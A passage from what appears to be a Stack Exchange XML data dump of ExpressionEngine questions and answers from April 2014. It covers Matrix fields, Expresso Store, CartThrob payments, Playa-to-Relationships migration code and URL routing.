value=&quot;row_id_184&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; id=&quot;cf_forme&quot; name=&quot;cf_forme[row_id_184][col_id_27]&quot; value=&quot;cube&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;  &amp;lt;!--THIS IS A MATRIX ROW--&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;cf_forme[row_order][]&quot; value=&quot;row_id_185&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; id=&quot;cf_forme&quot; name=&quot;cf_forme[row_id_185][col_id_27]&quot; value=&quot;carrer&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The code above is a very simple form that I have done to try to narrow down the problem. On channel ad two matrix fields with just 1 text field in each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have compared my custom code and the code generated by the native channel form field and cannot see any difference in the field names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have then simply put every matrix field in their own embeds, passing the ID of the entry I am editing to the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop around each of them. That works fine, even with my custom code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would very much like to understand what is happening here, as I would rather have everything in the form and not make use of embeds.&lt;/p&gt;&#xA;" OwnerUserId="3019" LastEditorUserId="141" LastEditDate="2014-04-30T04:31:08.567" LastActivityDate="2014-04-30T08:28:20.337" Title="Multiple custom matrix field in channel form issue" Tags="|matrix|pixelandtonic|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21463" PostTypeId="1" CreationDate="2014-04-25T10:15:22.430" Score="0" ViewCount="41" Body="&lt;p&gt;I've just upgraded from Freeform to Freeform Pro so I could make use of the additional fieldtypes, but on installation of Pro I still only have four fieldtypes (text, text area, upload and mailing list).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a complete uninstall of freeform, deleting the third party folders and reinstalling fresh, but I still only get 4 field types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that all the fieldtypes exist as php files within the 'default_fields' folder, but they aren't appearing within the module in EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;James &lt;/p&gt;&#xA;" OwnerUserId="3020" LastActivityDate="2014-04-25T10:15:22.430" Title="Default fields not loading in Freeform Pro" Tags="|solspace-freeform|solspace|fieldtype|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21464" PostTypeId="1" CreationDate="2014-04-25T11:52:50.753" Score="0" ViewCount="99" Body="&lt;p&gt;I'm building my first Expresso store, and have hit an issue with IE8. Any page that contains &quot;add to cart&quot; buttons renders everything up to the buttons but the rest of the page is blank. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IE shows this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: HTML Parsing Error: Unable to modify the parent container element before the child element is closed (KB927917)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume it's Expresso's inline JS that's causing this, and that IE doesn't like it manipulating the page before it's fully loaded? Has anyone else come across this or found a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've now narrowed it down to a very simple template that still shows this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        BEFORE&#xA;        {exp:channel:entries channel=&quot;discography&quot; limit=&quot;1&quot; disable=&quot;categories|category_fields|member_data|trackbacks|pagination&quot;}&#xA;            {exp:store:product entry_id=&quot;{entry_id}&quot; return=&quot;cart&quot;}&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;item_qty&quot; size=&quot;3&quot; value=&quot;1&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Buy now&quot; class=&quot;submit&quot; /&amp;gt;&#xA;            {/exp:store:product}&#xA;        {/exp:channel:entries}&#xA;        AFTER&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I view that in IE8 or lower I don't see the &quot;AFTER&quot; text, and I get the same parsing error as before. If I remove the .container div, it renders as expected. So I assume that Expresso is trying to manipulate the page before IE has finished rendering the container div. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3000" LastEditorUserId="3000" LastEditDate="2014-04-27T12:25:23.577" LastActivityDate="2014-08-11T09:16:11.237" Title="Possible Expresso IE8 JS bug?" Tags="|expresso-store|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21465" PostTypeId="1" CreationDate="2014-04-25T12:10:40.637" Score="1" ViewCount="111" Body="&lt;p&gt;I need to transfer aprox 700 MX googlemap entries from old db to new. I have tried ajw-export/Datagrab but it does not transfer the geodata. &lt;/p&gt;&#xA;" OwnerUserId="3022" LastActivityDate="2014-05-02T14:16:14.647" Title="How do i export/import MX Google Map entries" Tags="|datagrab|mx-google-map|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21466" PostTypeId="1" CreationDate="2014-04-25T13:29:48.223" Score="1" ViewCount="83" Body="&lt;p&gt;I have tried &lt;a href=&quot;http://cartthrob.com/docs/tutorials/authorize_later_with_vaults/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tutorials/authorize_later_with_vaults/index.html&lt;/a&gt; with stripe but I get the error &lt;code&gt;The card object must have a value for 'number'.&lt;/code&gt; when trying to authoirize as the example, im assuming because the &lt;code&gt;{exp:cartthrob:checkout_form}&lt;/code&gt; is still looking for the credit card information rather than just the token to authorise payment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on how I can fix this? I used Cartthrob and stripe becasue of this feature to charge later if product becomes available, but not working right now.&lt;/p&gt;&#xA;" OwnerUserId="3023" LastActivityDate="2014-04-25T13:29:48.223" Title="Cartthrob Vault payments with Stripe" Tags="|cartthrob|payment-gateway|stripe|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21467" PostTypeId="2" ParentId="21425" CreationDate="2014-04-25T14:17:26.347" Score="5" Body="&lt;p&gt;It's a pretty simple operation, since they are stored very similarly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, backup your database. Then, run this code in a PHP-enabled template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$playa = ee()-&amp;gt;db-&amp;gt;query(&quot;SELECT * FROM exp_playa_relationships&quot;);&#xA;foreach($playa-&amp;gt;result_array() as $rel)&#xA;{&#xA;    $data = array(&#xA;        'parent_id' =&amp;gt; $rel['parent_entry_id'],&#xA;        'child_id' =&amp;gt; $rel['child_entry_id'],&#xA;        'field_id' =&amp;gt; $rel['parent_field_id'],&#xA;        'order' =&amp;gt; $rel['rel_order']&#xA;    );&#xA;    ee()-&amp;gt;db-&amp;gt;query(&#xA;        ee()-&amp;gt;db-&amp;gt;insert_string('exp_relationships', $data)&#xA;    );&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, change your Playa fields to Relationships fields. Done.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-25T14:17:26.347" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21468" PostTypeId="1" CreationDate="2014-04-25T14:20:44.950" Score="2" ViewCount="50" Body="&lt;p&gt;Is there a way that I can trigger a payment gateway to process an order that has already been processed already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. A user selected to pay for an order using the manual payment method and process their order as such. The user then decides to contact the site admin because they instead wish to for this order via another payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way using php that I can allow this to happen and if so where do I look to find the correct methods that will achieve this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="3024" LastActivityDate="2014-04-25T16:21:43.963" Title="Expresso Store -Trigger payment Gatway from backend or method" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21469" PostTypeId="2" ParentId="21458" CreationDate="2014-04-25T14:31:07.417" Score="1" Body="&lt;p&gt;I don't believe you can submit to multiple channels at the same time with Channel Form at this time. One option would be to use something like &lt;a href=&quot;http://devot-ee.com/add-ons/external-entries&quot; rel=&quot;nofollow&quot;&gt;External Entries&lt;/a&gt; to create a sql database update. You could then submit your form via ajax to the template with your sql insert/update. (Also see &lt;a href=&quot;http://engaging.net/docs/external-entries&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; for External Entries, subheading &quot;As an Ajax Form&quot;, for an example)&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-04-25T14:31:07.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21470" PostTypeId="2" ParentId="21431" CreationDate="2014-04-25T14:45:17.503" Score="1" Body="&lt;p&gt;It is possible to override these messages in &lt;code&gt;system/expressionengine/third_party/matrix/language/english/lang.matrix.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this file you can edit the bits of text between quotes (after the arrow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that these changes will be lost after an update of Matrix.&lt;/p&gt;&#xA;" OwnerUserId="2231" LastActivityDate="2014-04-25T14:45:17.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21471" PostTypeId="2" ParentId="21385" CreationDate="2014-04-25T15:03:13.747" Score="1" Body="&lt;p&gt;Here is the bug I discovered. Whether or not this is just a problem specific to the server I'm using or just a downright mistake in the Expresso Store 2.2.0 code I'm yet to be determined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My settings:&#xA;-Server Path to Upload Directory: /homepages/9/d201932266/htdocs/frameexpert/images/page_images/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Edited this file: store/src/store/service/StoreService.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function get_file_path($file_id)&#xA;{&#xA;    $path = ee()-&amp;gt;db-&amp;gt;where('file_id', $file_id)&#xA;        -&amp;gt;get('files')-&amp;gt;row('rel_path');&#xA;&#xA;    if (empty($path)) return FALSE;&#xA;&#xA;    // is this a relative path?&#xA;    if (strpos($path, '/') !== 0) {&#xA;&#xA;        //Note: Detected Bug in Expresso Store. The '../' doesn't bring us far enough&#xA;        //back. APPPATH returns '/direct_path_to_ee/frameexpert/expressionengine/system/'&#xA;        //What this line of code returns is &#xA;        //'/direct_path_to_ee/frameexpert/expressionengine/system/../frameexpert/images/page_images/file.zip'&#xA;&#xA;        $path = APPPATH.'../'.$path;&#xA;    }&#xA;&#xA;    return $path;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is happening here is that the 'get_file_path()' function returns an incorrect path. All I did to fix this was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // is this a relative path?&#xA;    if (strpos($path, '/') !== 0) {&#xA;&#xA;        //Note: Changed '../' to '../../../'&#xA;        $path = APPPATH.'../../../'.$path;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This resolved my issue.&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="675" LastEditDate="2014-04-25T15:25:04.457" LastActivityDate="2014-04-25T15:25:04.457" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21472" PostTypeId="2" ParentId="21331" CreationDate="2014-04-25T15:46:09.013" Score="0" Body="&lt;p&gt;Have you tried &lt;a href=&quot;http://devot-ee.com/add-ons/pvl-check-if&quot; rel=&quot;nofollow&quot;&gt;Plv Check If&lt;/a&gt; plugin?&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2014-04-25T15:46:09.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21473" PostTypeId="2" ParentId="21468" CreationDate="2014-04-25T16:21:43.963" Score="1" Body="&lt;p&gt;In that scenario, no. If the user has selected a payment method and completed the checkout using that payment method then the easiest thing would be to cancel that order and run through another one with the change of payment method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other circumstances when you don't want to take payment immediately you can set the &lt;em&gt;Credit Card Payment&lt;/em&gt; Method to &lt;em&gt;Authorize Only&lt;/em&gt; in Store &gt; Settings &gt; General. This will allow you to take the payment manually at a later date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/khzMb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to check with your payment gateway how long you can keep an authorised payment open before needing claim. This can vary between payment gateways and you will usually need to manually capture within a matter of days or the order will be dropped.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-25T16:21:43.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21474" PostTypeId="2" ParentId="21376" CreationDate="2014-04-25T16:39:17.527" Score="1" Body="&lt;p&gt;The biggest issue you're going to run into is that Simple Commerce doesn't have any tags for displaying purchase information, so you'll have no way to verify if the user has purchased the content, thus allowing them to download the product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any knowledge of SQL queries, you could possibly use the &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot; rel=&quot;nofollow&quot;&gt;Active Record&lt;/a&gt; module to directly grab purchase info from the database. If you don't know any SQL, &lt;a href=&quot;http://mijingo.com/products/screencasts/mysql-and-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;this is an excellent tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-04-25T16:39:17.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21475" PostTypeId="1" CreationDate="2014-04-25T18:01:05.827" Score="0" ViewCount="89" Body="&lt;p&gt;EE 2.6.1&lt;br /&gt;&#xA;Assets 2.3.1&lt;br /&gt;&#xA;Wygwam 3.3&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are having an issue where images from Assets are added to a Wygwam field, but do not display on the front-end or view entry page after save. They do appear fine within the Wygwam field on the Publish/Edit page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A screenshot and corresponding HTML output looks like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img alt=&quot;&quot; src=&quot;{assets_32:http://mydomain.com/uploads/myimagename.png}&quot; style=&quot;width: 491px; height: 208px;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7LXHp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried implementing the fix &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9631/assets-in-wygwam-not-displaying-on-front-end-in-ee-2-6-assets-2-1-1-wygwam-2-7-1&quot;&gt;found here&lt;/a&gt;, but it did not resolve the issue. The assets tag is still not parsing.&lt;/p&gt;&#xA;" OwnerUserId="692" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2016-09-16T01:36:54.550" Title="Assets Image Path Issue with Wygwam on Front-end/View Entry Page" Tags="|ee2|assets|wygwam|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21476" PostTypeId="1" CreationDate="2014-04-25T20:30:40.700" Score="1" ViewCount="159" Body="&lt;p&gt;I am wanting to get rid of template group names in the URL and basicly get more control over the URL structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe template routes will now allow me to do what I want but not sure I understand how that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;myhotel.com/template_group/template/entry&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;myhotel.com/room_types/room/double_king&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where Double King is the entry title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want: myhotel.com/room/double_king or even myhotel.com/double_king&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do that with template routes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANKS!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;greg&lt;/p&gt;&#xA;" OwnerUserId="2382" LastActivityDate="2014-05-02T00:40:23.503" Title="want more control over URLs. Get rid of template group name for example" Tags="|templates|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21477" PostTypeId="1" AcceptedAnswerId="21478" CreationDate="2014-04-25T21:07:49.387" Score="1" ViewCount="51" Body="&lt;p&gt;Is it possible to populate an entry field with categories? When publishing a Structure page, I'd like to be able to select what category of products to display. &lt;/p&gt;&#xA;" OwnerUserId="2390" LastActivityDate="2014-04-25T21:33:36.153" Title="Category as field value?" Tags="|categories|structure|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21478" PostTypeId="2" ParentId="21477" CreationDate="2014-04-25T21:33:36.153" Score="1" Body="&lt;p&gt;Yes. &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/wb-category-select&quot; rel=&quot;nofollow&quot;&gt;WB Category Select&lt;/a&gt;&lt;/strong&gt; is a fieldtype that does just that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create a custom field of this type you can set the category group(s) and whether or not the user is allowed to select multiple categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a very handy add-on and works great!&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-04-25T21:33:36.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21479" PostTypeId="2" ParentId="21476" CreationDate="2014-04-25T23:50:25.840" Score="1" Body="&lt;p&gt;You might want to look at Structure - &lt;a href=&quot;http://buildwithstructure.com/&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It bypasses the template/group template URL structure and allows you to create any URL you like. Also makes managing a big page tree with many levels very easy, and help generate navigation and breadcrumbs too.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-04-25T23:50:25.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21481" PostTypeId="2" ParentId="21331" CreationDate="2014-04-26T02:14:02.103" Score="1" Body="&lt;p&gt;Consider checking out &lt;a href=&quot;https://github.com/croxton/Stash/tree/dev&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stash&lt;/a&gt; instead of Transplant using it's &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp:stash:set_list%7D&quot; rel=&quot;nofollow noreferrer&quot;&gt;set_list&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp:stash:get_list%7D&quot; rel=&quot;nofollow noreferrer&quot;&gt;get_list's&lt;/a&gt; -&gt; &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp:stash:get_list%7D#match---regex-&quot; rel=&quot;nofollow noreferrer&quot;&gt;match&lt;/a&gt; / &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp:stash:get_list%7D#against---list-column-&quot; rel=&quot;nofollow noreferrer&quot;&gt;against&lt;/a&gt; params. (I probably need more info to help with the regex if any)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this wiki article for &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Filtering-lists-with-match-against&quot; rel=&quot;nofollow noreferrer&quot;&gt;Filtering Lists with match against&lt;/a&gt;. Note: in that example Mark is manually creating the list but, you'd do it with Super Search (or channel entries tags etc.) and use the Primary Category to filter against (if and when it exists.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this &lt;a href=&quot;https://expressionengine.stackexchange.com/a/15367/16&quot;&gt;EESE answer&lt;/a&gt; appears to have accomplished something similar (possibly the opposite?) to what you want using Stash and &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot; rel=&quot;nofollow noreferrer&quot;&gt;Active Record&lt;/a&gt;; an add-on which is often recommend over using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/query/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Query Module&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-04-26T02:14:02.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21482" PostTypeId="1" CreationDate="2014-04-26T03:15:20.060" Score="0" ViewCount="29" Body="&lt;p&gt;I have a matrix field with an assets column that it is loosing its data when editing the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It saves fine the first time, but upon returning to edit, the file reference it no longer in the column. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea why this could be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using ee v 2.8.1, assets v 2.2.4 and matrix v. 2.5.10&lt;/p&gt;&#xA;" OwnerUserId="279" LastActivityDate="2014-04-26T03:15:20.060" Title="Matrix lossing Assets type data" Tags="|matrix|assets|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21483" PostTypeId="2" ParentId="21460" CreationDate="2014-04-26T04:54:11.793" Score="1" Body="&lt;p&gt;First of all, Matrix data columns need to be set to &quot;searchable&quot; for its data to be stored, &lt;strong&gt;as a concatenated string&lt;/strong&gt;, in &lt;code&gt;exp_channel_data&lt;/code&gt;. Once that is set up, searching in this Matrix field using Super Search is limited since Super Search will only look for a string match between your search and what is stored in &lt;code&gt;exp_channel_data&lt;/code&gt;. In other words, there are no date-based calculations being made. Further, for date columns, it might be possible that this data is saved as a unix timestamp, so you would have to make your search match an exact unix timestamp stored in &lt;code&gt;exp_channel_data&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-26T04:54:11.793" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21485" PostTypeId="1" AcceptedAnswerId="21516" CreationDate="2014-04-26T06:22:59.830" Score="0" ViewCount="31" Body="&lt;p&gt;I am looking to provide my client with the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to install/create group channel on theme install automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For eg: In wordpress, We can create custom theme options and meta fields within posts and pages. Similarly is it possible that I can code the extra field portion in my code so that client can simply install theme and create page content rather then creating channels and fields at backend?&lt;/p&gt;&#xA;" OwnerUserId="2920" LastActivityDate="2014-04-28T20:30:33.697" Title="Is it possible to install/create goup channel on theme install automatically" Tags="|channel-entries|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21486" PostTypeId="1" AcceptedAnswerId="21488" CreationDate="2014-04-26T11:00:55.527" Score="1" ViewCount="230" Body="&lt;p&gt;I am using ExpressionEngine 2.8.1. I have a set of basic permissions for my EE posts.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Draft&lt;/li&gt;&#xA;&lt;li&gt;Awaiting Approval&lt;/li&gt;&#xA;&lt;li&gt;Rejected&lt;/li&gt;&#xA;&lt;li&gt;Open&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have 2 key types of user: -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Contributor&lt;/li&gt;&#xA;&lt;li&gt;Editor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have limited the Contributor to only be able to set the status to :-&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Draft&lt;/li&gt;&#xA;&lt;li&gt;Awaiting Approval&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Editor can set the status to: -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Draft&lt;/li&gt;&#xA;&lt;li&gt;Awaiting Approval&lt;/li&gt;&#xA;&lt;li&gt;Rejected&lt;/li&gt;&#xA;&lt;li&gt;Open&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem is that I want to prevent the Contributor from being able to see / edit posts that are in the 'Awaiting approval' status. The should be able to set a post to this status but after doing so be unable to make further changes to the content unless the status is change by and editor to 'rejected' or 'draft'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to prevent them from being able to editing posts in the 'open' status as this effectively sets the status to 'draft' as the don't have permission to submit to the 'open' status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a secondary consideration it would be ideal if a contributor could edit a post that was set to 'open' but that it would not be made live until approved by an editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this in expression engine? This is such a standard workflow for content that I'm sure I must be missing something. Any and all help appreciated. &lt;/p&gt;&#xA;" OwnerUserId="3027" LastActivityDate="2014-04-27T04:57:17.673" Title="Status Permissions / workflow" Tags="|status|permissions|groups|workflow|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21487" PostTypeId="1" CreationDate="2014-04-26T12:10:31.877" Score="0" ViewCount="701" Body="&lt;p&gt;I have an online shop which uses CT and offsite payment processing. Upon returning to the store after a successfull (test)purchase I recieve those errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Strict Standards: Declaration of Matrix_ft::post_save() should be compatible with EE_Fieldtype::post_save($data) in /Users/user/Sites/site/dev.site.de/system/expressionengine/third_party/matrix/ft.matrix.php on line 3753&#xA;&#xA;Strict Standards: Declaration of Matrix_ft::save_settings() should be compatible with EE_Fieldtype::save_settings($data) in /Users/user/Sites/site/dev.site.de/system/expressionengine/third_party/matrix/ft.matrix.php on line 3753&#xA;&#xA;Strict Standards: Declaration of Matrix_ft::post_save_settings() should be compatible with EE_Fieldtype::post_save_settings($data) in /Users/user/Sites/site/dev.site.de/system/expressionengine/third_party/matrix/ft.matrix.php on line 3753&#xA;&#xA;Warning: Cannot modify header information - headers already sent by (output started at /Users/user/Sites/site/dev.site.de/system/expressionengine/third_party/matrix/ft.matrix.php:3753) in /Users/user/Sites/site/dev.site.de/system/expressionengine/libraries/Functions.php on line 415&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment I have really no clue what that might be about. Offline payments go through without any problems and I am not using anything Matrix related in that part of the shop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So any hints in the right direction would be great. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditDate="2014-04-26T12:41:13.387" LastActivityDate="2015-05-12T00:02:30.300" Title="Strict Standards: Declaration of Matrix_ft::post_save() should be compatible with EE_Fieldtype::post_save($data)" Tags="|matrix|cartthrob|error|payment-gateway|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21488" PostTypeId="2" ParentId="21486" CreationDate="2014-04-26T12:20:32.047" Score="1" Body="&lt;p&gt;For the control panel there are probably add-ons for this, like better workflow or maybe draftEE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the front-end you can do some conditional checking in the template before showing the channel-form (safecracker).&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-04-26T12:20:32.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21489" PostTypeId="2" ParentId="21487" CreationDate="2014-04-26T12:29:25.820" Score="1" Body="&lt;p&gt;Have you updated Matrix &amp;amp; EE yet? It's not a Cartthrob issue i'm afraid.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-04-26T12:29:25.820" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21490" PostTypeId="1" AcceptedAnswerId="21493" CreationDate="2014-04-26T17:16:22.747" Score="0" ViewCount="55" Body="&lt;p&gt;I have Solspace Rating 3.2.4 installed; and while I'm seeing examples to &lt;a href=&quot;http://www.solspace.com/docs/rating/rank/#examples&quot; rel=&quot;nofollow&quot;&gt;show the most popular/highest ratings&lt;/a&gt;, I want to show the ten most recent ratings (that is, the ten most recent ratings that have received at least one vote.) The output and formatting in the linked example is fine; it's just the sorting of which ratings are displayed, that is different from what I want. Am I looking at the wrong tag, to generate a list of the ten most recent ratings?&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2014-04-26T20:59:31.070" Title="Solspace Rating: how can I display the most recent ratings?" Tags="|ee2|solspace-rating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
